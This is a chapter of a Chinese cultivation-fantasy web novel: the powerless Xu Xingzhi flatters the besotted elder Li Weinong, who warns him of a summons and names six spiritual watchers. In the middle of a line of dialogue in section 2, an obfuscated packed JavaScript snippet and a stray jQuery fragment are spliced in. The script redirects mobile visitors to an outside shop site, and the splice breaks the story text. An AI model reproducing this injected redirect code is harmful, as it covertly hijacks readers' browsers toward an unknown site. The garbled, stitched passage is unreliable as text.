1
“暖粥犹烫稚子声……”
徐行之伫立柴门口,望着肩搭自己“礼物”的心方妍,渐行渐远消失在小路尽头,传来几声聒噪的吠声,像是在对主人说:“放心吧,我一路送她回家!”
他内心泛起嘀咕:暖粥,稚子声?昨夜我凑出此句,沈倾雪还质问一番,怎的,一大早来个喝粥的丫头,破境了?矩尺道的师境,又是何等光景?
他望向天空,暗疑道:是你们几个窥癖衰货,刻意编排来消遣我的吗?
“唉,看这雨倒不会停了,那台阶便不扫了。”徐行之摇头自语,那自语也是说给天上听的。
回到院子,他来到一处独立于花圃的角落,蹲下身,指尖微抚地上生的几丛杜蘅,轻抓几下叶子,试把那香气提起来,再抹在鼻上:
他们来的,都跑那花圃里去,却不见你。你才是我的阵心所在。
“行之老弟!听说昨儿个倾雪来了?”
徐行之闭上双眼,在这烟雨待青灯的千山一处,给自己让出了一缕遥不可及的叹息。他脊梁竖起汗毛,认出了这嗓音的主人。这竖起的汗毛非恶非嫌,而是一种油腻的无奈。
“维农兄!沈宗主昨天可是提到你了啊!”
徐行之堆起一脸欣喜的——贱感。而且,他竟能表现得对这“贱感”得心应手。
来人是谁?李维农,一个痴货,迷恋沈倾雪。
百年前对战徐行之的五大金丹之一,沈倾雪曾经的外门师弟,前司律监执事,如今藏经阁的驻阁长老。哦!他还是为徐行之代领丹药配给的那个专人。
唉,八成是听贤亭说的,这痴货闻着味儿来打听沈倾雪了。徐行之绝不会让一丝叹息的衰色流露于面,只等李维农露出双眼放光的急切。
“哎哟!她怎么说的?快!快给我讲讲!”
“嗯嗯,哼!”徐行之一手捋须,故意拉长音清嗓子,只做负手踱步状,眼缝乜住一旁洗耳恭听且轻步随行的李维农,道:“她说,你德才兼备。”
“嘶——哎哟喂!你快往下说啊,老弟!”李维农一把挽住徐行之胳膊,一只手摸索着往他怀里塞着东西。
“嗯,嗯,不错啊,这还是新茶,”徐行之摸那布包,闻出来味儿,仔细想一番昨夜沈倾雪的原话:“如今维农任驻阁长老,他见令牌,自会给你要看的典籍。”便语气一转,慢条斯理地为李维农转译:
“你,德才兼备嘛,(藏经阁长老,岂是泛泛之辈?)
“你,忠心耿耿!(认沈倾雪令牌,忠!)
“你,智慧过人!(见令便知荐何书,智!)
“你,你看这都夸你三条了,知足吧!”
“哎——”李维农双眼一闭,颤音落地,答应得一塌糊涂。趁着他自我陶醉时,徐行之抽出胳膊,远离了他,还捋几遍那胳膊,像是要拂去某种气息。
什么气息?不,要问是谁的气息!谁的?
“倾雪……倾雪……”李维农已然不可自拔,亦不知他哪儿来的本事,能调出沈倾雪那淡淡桂花衣香。
要徐行之评此人,长相不落下乘,爱戴纶巾,着书生袍,国字脸板起来,正气浩然,可就是有股浓烈的——爹气。
与诸多留髯须的修士不同,他偏爱留髭须,且是独留髭须,还不是八字胡,非要打理成长长的一字,并给它起了名字:雁翅一回眸。
“我捻雁翅一回眸,垂天青云满倾雪。”
此为其口头禅,那后半句的“满倾雪”常是轻语,不易听辨。他将那嗓音打磨得极具沧桑之感,似是爱而不得时,一个砰然展翅,扎向情海,甚有一往情深浑不怕的决然。
其可怕之处,在于不可长久对视。他似有种功法,可教人渴望叫声“爹”。徐行之虽未受其害,却是深知其害,尤其不愿知道自己可顶那功法多久。
“差不多就行了,老李!”徐行之已打开了那包雾隐毛尖,煮汤沏好一壶茶,自斟自饮了二三盏。
“唉,”李维农似余意未尽,一手已捏上髭须:“我捻雁翅一回眸……哎我说老弟,你啥时候能帮我把这首诗补齐呢?”
徐行之在内心白眼一青,却做怅然状:“老李,你这两句已是惊艳之作,凭我这才疏学浅,怕是穷极一生,也补不出一字来。”
他饮口茶,话音一转:“哎老李,你来找我,就是为了听两句沈宗主夸你的话?怎的,这月的配给下来了?”
“嗯……你确定,倾雪没再多说一句?”
“没了没了!你若无事,就请回吧,不然,吃两口茶再走?”
“哎,这茶本是送你的,我再来吃,岂不掉了品相。不过今番来此,确有他事。”李维农讪笑,一个旋身,侧对徐行之,忽然一回眸:“我捻雁翅——”
“噗——”一口茶喷出来,徐行之马上摆手道:“不妨事,烫着了,你接着说。”
李维农砸砸嘴,口头禅被打断,似有不悦:
“嗯,是这样,今儿司律监会传你,我特意赶来帮你。”
徐行之将茶盏一磕,拧眉道:“司律监传我干嘛?是因昨日之事?丹房那厮自寻死路,关我屁事!”
李维农双手一摊:“你看,这不得拉你过去核实一番嘛。”他猛一凑近,那雁翅一回眸的尖尖儿差点扎着行之的耳朵:“他们还要传孟钦姝哩。”
“当真?”徐行之若是照镜子,会发现自己的表情神似维农轻喃沈倾雪。
可转念一想,他又闻到那髭须戳过来的桂花香,使劲摇头:“钦姝那性子定是不会去的,昨日已有公论,那厮按律当诛,要来,也是何祺俪来顶。”
“啧啧,万一她应了呢,你不就又见着了。”李维农乜住他,捻着髭须。
“好吧。”徐行之只得喝茶,刚意识到自己扮了个维农痴情脸。
李维农点点头,踱步进花圃,深吸一口气,颤声一叹:“昨夜,倾雪是不是立于此处,直教你这寒舍蓬荜生辉。”
哎你这痴货!行之暗骂:蓬荜生辉岂是这般用法?嘴角一抽,像是闻了个屁。
“待会儿,他们派人来了,我陪你去。对了,她昨夜进你屋子里了吧,我得进去瞻仰一番。”嗖——李维农进了屋。
“哎你这人!”
2
行之把茶盏一撂,起身追进屋,已见那痴货端坐于沈倾雪坐过的圆凳上,整了整衣冠,双手平放膝上,两眼一闭,身形倏地放松,一声长吟随之而来:啊……
“你这(心道:腌臜痴货)痴情人啊!”徐行之咬牙切齿,叹出意难平。
突然,李维农双眼一睁,语速极快,说了一通:
“丹房主管李维雍来自简水李家、跟我没半点关系、今司律监被他买通、我这分薄面已无用、他们许是要拿你开刀、逼孟钦姝现身讨些赔偿、并不在乎那死人。
“然,李维雍每次见我都巴结我、想安排他的人进藏经阁、待会儿你看我脸色行事、好歹给他些好处咱不吃亏即可。
“唯一,变数在杂役管事王秉翰、他掌有你的花名册、一旦暴露你同时是九爻峰教习和玄苍峰供奉、便会把倾雪也牵连进来、如此棘手也。”
语毕,李维农又阖眼,复归陶醉。
徐行之听得一愣一怔,竟也听懂了,见李维农那痴样,又气又笑,乜着眼道:“那王秉翰不足为虑。他师尊洪歇,不过是我大师兄的记名弟子,见我都得叫声师叔呢!”
李维农微笑漾起,却还是围着沈倾雪转:
“她是不是昨天坐在这儿,夸我的?”
徐行之欲哭无泪,抬头看了眼房梁,不由心神一动:“维农兄,你认出了这幻音遮天符吧?”
“那可不是?”李维农双眼一睁,伸手捻须,正待唤雁翅,被徐行之打断。
“对啊老李,”行之猛拍其肩背,笑道:“沈宗主留的,她呀,可是给我说了正事儿,并吩咐我找你问问。”
“哎!老弟快讲,倾雪所托,赴汤蹈火!”李维农回眸放光。
哈,他绝不知我与沈倾雪的密谈。徐行之暗喜,故作严肃:“沈宗主让我问你,那几个监视我的主儿,都查出来谁了吗?”
“嘶——她吩咐你时,是何语气?”
徐行之立即迎合,稍清嗓子,表演道:“行之,此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942494|213956||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事你须找维农问明,我身份特殊,不便过问。”
“天幸垂怜!我捻……”
痴货又是一阵陶醉,徐行之也不催促,欣赏完那一系列表情展示,如观赤子撸虎,虾兵捣蒜。
少顷,李维农睁眼道:“哎老弟,五十年前,她便令我探查此事了。”
果然如此!我猜得不错。徐行之心中百花齐放,面容波澜不惊。且听那痴货继续道:
“这几缕神识中,有间歇者,比如我、倾雪,还有那个何祺俪、燕超然,这都是为了一探安危,也算不得监视。
“还有间歇者,乃例行公事,有驻宗客卿团,随值更替,人选不定。有咱友宗月华宗,杏林谷那几位,也不固定,每次一探即逝,许是查你伤势。
“其余宵小之辈,是我宗弟子,刚学了神识外探的皮毛,好奇作祟,歪打误撞,便探个一两次,再不复见。”
李维农捻须左边换右边,环视屋内一圈,压低了声音:
“有六个久视者,绝非善辈。我敌宗,沧澜圣宗一位,此道神识自护宗战后,你出阵那一刻起便在,一直未歇。
“太稷玄廷皇族一位,定是你百年前结下的梁子,也是你出阵那天贴上的神识。
“邪修一位,许是当年围攻我宗的邪修之一,时间同上。
“魔族一位,哼!这厮相当有趣,六十年前已在宗内游弋许久,约是你做杂役两三年,才选中你,便不再离去。
“还有我宗一位,男女不详,方位飘忽,许是借了某种法器,定是细作。早晚,我要将这厮缉拿归案,赢得倾雪为我一盼,啧啧,想想就心神激荡啊!”
缉拿,归案?你不是藏经阁长老吗?难道,你还是……徐行之心头一亮,却怕李维农意识到自己说漏了嘴,赶忙催道:
“哎,哎,老李!那最后一个呢,快说完!我刚突然想起,沈宗主昨夜还夸了你一句,你快说完,我便告你!”
“哦哦!好!这最后一个……”李维农突然噤声,如猎豹弓腰,站离那圆凳,搂紧徐行之,趴其耳边:
“你听好了,仅是猜测,它八成是上面的。以后莫要再问!”
“咳咳!”徐行之非是被桂花香所呛,是这香味中升起了一股铁锈味。他指尖轻触李维农脊背,发现那里已是汗透,同时听出那嗓音中的一丝绝望,如冷霜攀枝,寒泉凝龟。
李维农放开手,重新坐回圆凳,一套庄重的“正冠、捻须、捋领”仪式下来,似有不甘道:
“唉,可惜你修为尽失,不然,一片指甲盖大的博父追光镜,只催一口灵气,便可闪退那几个,不瞎也得头疼两天。”
“呵呵。”徐行之忽然不知何以应之,姑且讪笑相陪。
一阵沉默。
徐行之忍不住道:“维农兄何以如此瞪我?”
“哎老弟,我的可是讲完了,你怎的转头就不记得了?”
徐行之一拍脑门:“哎哟,看我这记性!那个,沈宗主昨夜还夸你,哦,不是,她原话也不是夸,她是觉得跟你很亲切。”
“嘶——慢着!你细说,细说!”
哈哈,沈倾雪的确称呼他维农,而不是李维农,这不是亲近又是啥?反正我又没骗这痴货。徐行之左右一瞟,凑近了去,轻声道:
“维农……”
“哎哟啧啧,我捻……”又是一顿庄重仪式:“啊……”
唉不好,他没完了。徐行之倏地后悔莫及。
这时,屋外传来一声高喝:“主峰杂役老徐头可在?”
哟,这许是司律监的人,要是去受审,不还是一场戏?既入此戏,不如演足!徐行之心念所至,低呼一声:“来活儿了!”
“哈哈哈哈哈!”他骤然大笑,一拍桌案,髯须一扬,脚踩圆凳,竟临时仿了两句:“君且雁翅一回眸,看我荡妖为倾雪!”
李维农先惊其踩凳,后闻言肃然起身,双手向前一抖袖,扶正纶巾,再一抖袖,捻齐髭须,三抖袖,捋平衣领,一个子午诀掐端正了,正待开口,却被徐行之抢道:
“维农兄,这期间你我行脸色,还需在此对照一二……”